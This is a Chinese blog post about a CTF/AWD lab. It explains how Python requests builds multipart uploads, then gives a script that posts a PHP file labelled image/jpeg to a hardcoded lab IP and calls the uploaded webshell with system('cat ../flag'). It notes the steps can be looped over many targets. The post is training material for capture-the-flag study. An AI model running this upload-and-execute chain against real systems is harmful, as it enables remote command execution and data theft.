首页 > 编程语言 >python脚本之requests库上传文件

python脚本之requests库上传文件

时间:2024-05-26 22:24:26浏览次数:28  
标签:name python upload url file requests php 上传

一、前言

在学习的时候,发现有一个AWD的文件上传执行漏洞,突然想着批量对不同靶机进行操作并get_flag。思路简单,但是没构造 过文件上传的requests 的post请求的payload。便记录一下。

二、构造知识

在上传文件的时候,数据表的post 请求体里面通常是下面这样

------WebKitFormBoundarycXFjbullGiRoq8pc
Content-Disposition: form-data; name="upload_file"; filename="2.php"
Content-Type: image/jpeg

<?php phpinfo();>
------WebKitFormBoundarycXFjbullGiRoq8pc
Content-Disposition: form-data; name="submit"


------WebKitFormBoundarycXFjbullGiRoq8pc--


其中“------WebKitFormBoundarycXFjbullGiRoq8pc”是参数分割符,不用管。

那么这就可以看成两个参数。

在构建post数据请求体的时候。这两个参数的格式是:

name:(<filename>,<file_content>,<content-type>)
#name 是字段里面的name,比如upload_file
#<filename> 上传的文件名
#如果参数没有就填none


所以上述的构造 可以为:

file_payload = {
"upload_file":("2.php",open("2.php",'rb'),"image/jpeg"),
"submit":(none,none,none)
}

三、实战脚本

import requests,re

headers = {
    'Host': '1.14.110.159:10003',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',
    'Referer': 'http://1.14.110.159:10003/Pass-01/index.php',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7'
}

def upload_file(url):

    file_payload = {
        "upload_file": ("t.php", open("2.txt", 'r'), "image/jpeg"),
        "submit": (None, "None", None)
    }

    re = requests.post(url,headers=headers,files=file_payload)


def get_flag(url):
    parm = {
        'cmd':'system("cat ../flag");'
    }
    re = requests.post(url,headers=headers,data=parm).text
    return re


if __name__ == '__main__':
	
    # url = 'http://1.14.110.159:10003/Pass-01/index.php'
    # upload_file(url)
    
    #getflag
    url = "http://1.14.110.159:10003/upload/t.php"
    a=get_flag(url)
    print(a)
	#如果批量上传或者getflag,那么使用for即可。当然提前处理url的拼接。
	#for url in urls:
	#	upload_file(url)
	

标签:name,python,upload,url,file,requests,php,上传
From: https://www.cnblogs.com/iruan/p/18214387

相关文章

  • 【Python】 XGBoost模型的使用案例及原理解析
    原谅把你带走的雨天在渐渐模糊的窗前每个人最后都要说再见原谅被你带走的永远微笑着容易过一天也许是我已经老了一点那些日子你会不会舍不得思念就像关不紧的门空气里有幸福的灰尘否则为何闭上眼睛的时候又全都想起了谁都别说让我一个人躲一躲你的承诺我竟......
  • 【Python】LightGBM:快速高效的梯度提升框架
    原谅把你带走的雨天在渐渐模糊的窗前每个人最后都要说再见原谅被你带走的永远微笑着容易过一天也许是我已经老了一点那些日子你会不会舍不得思念就像关不紧的门空气里有幸福的灰尘否则为何闭上眼睛的时候又全都想起了谁都别说让我一个人躲一躲你的承诺我竟......
  • 【Python】 XGBoost vs LightGBM:两大梯度提升框架的对比
    原谅把你带走的雨天在渐渐模糊的窗前每个人最后都要说再见原谅被你带走的永远微笑着容易过一天也许是我已经老了一点那些日子你会不会舍不得思念就像关不紧的门空气里有幸福的灰尘否则为何闭上眼睛的时候又全都想起了谁都别说让我一个人躲一躲你的承诺我竟......
  • 【Python】利用TensorFlow和Keras进行不平衡数据集的分类任务
    原谅把你带走的雨天在渐渐模糊的窗前每个人最后都要说再见原谅被你带走的永远微笑着容易过一天也许是我已经老了一点那些日子你会不会舍不得思念就像关不紧的门空气里有幸福的灰尘否则为何闭上眼睛的时候又全都想起了谁都别说让我一个人躲一躲你的承诺我竟......
  • 8-1 【Python0031】简易带参计算器
    设计一个简易的参数计算器。【输入格式】第一行输入待计算的带变量参数的计算式第二行输入各变量参数的赋值序列【输出格式】输出带变量参数的计算式的计算结果【输入样例】a+ba=1,b=10【输出样例】11 defparse_and_compute(expression,values):#创建一个字......
  • 8-3 【Python0035】英文统计
    编写程序实现对特定英文文章(文本文件)的单词数和有效行数的统计,其中要求空行不计数; defcount_words_and_lines(filename):word_count=0line_count=0withopen(filename,'r')asfile:forlineinfile:stripped_line=line.strip()ifs......
  • 8-4 【Python0036】中文级联菜单
    编写程序实现中文级联菜单,建议可以使用pypinyin或其它扩展库。 importtkinterastkfromtkinterimportttkfrompypinyinimportpinyin,Style#示例数据menu_data={"水果":\["苹果","香蕉","橙子"\],"动物":\["狗","猫"......
  • Python - 并发模型
    自建进程池#示例19-12sequential.py:对一个小型数据集做指数检测(顺序执行版)"""sequential.py:CPU密集型工作的舒徐执行版,多线程版和多进程版的比较基准"""fromtimeimportperf_counterfromtypingimportNamedTuplefromprimesimportis_prime,NUMBERSclassR......
  • python学习(三)
    1字典字典是一个可变的、无序的容器,是python中唯一内置的映射类型的数据结构字典中的元素都是键值对(item项),每一个值(value)都对应一个键(key),标准性符合是{}和;注意字典的键不可以出现重复,值是可以重复的必须是不可变的数据类型才可以做字典的键1.1字典......
  • 2024电工杯数学建模B题Python代码+结果表数据教学
    2024电工杯B题保姆级分析完整思路+代码+数据教学B题题目:大学生平衡膳食食谱的优化设计及评价 以下仅展示部分,完整版看文末的文章importpandasaspddf1=pd.read_excel('附件1:1名男大学生的一日食谱.xlsx')df1#获取所有工作表名称excel_file=pd.ExcelFile('附件1......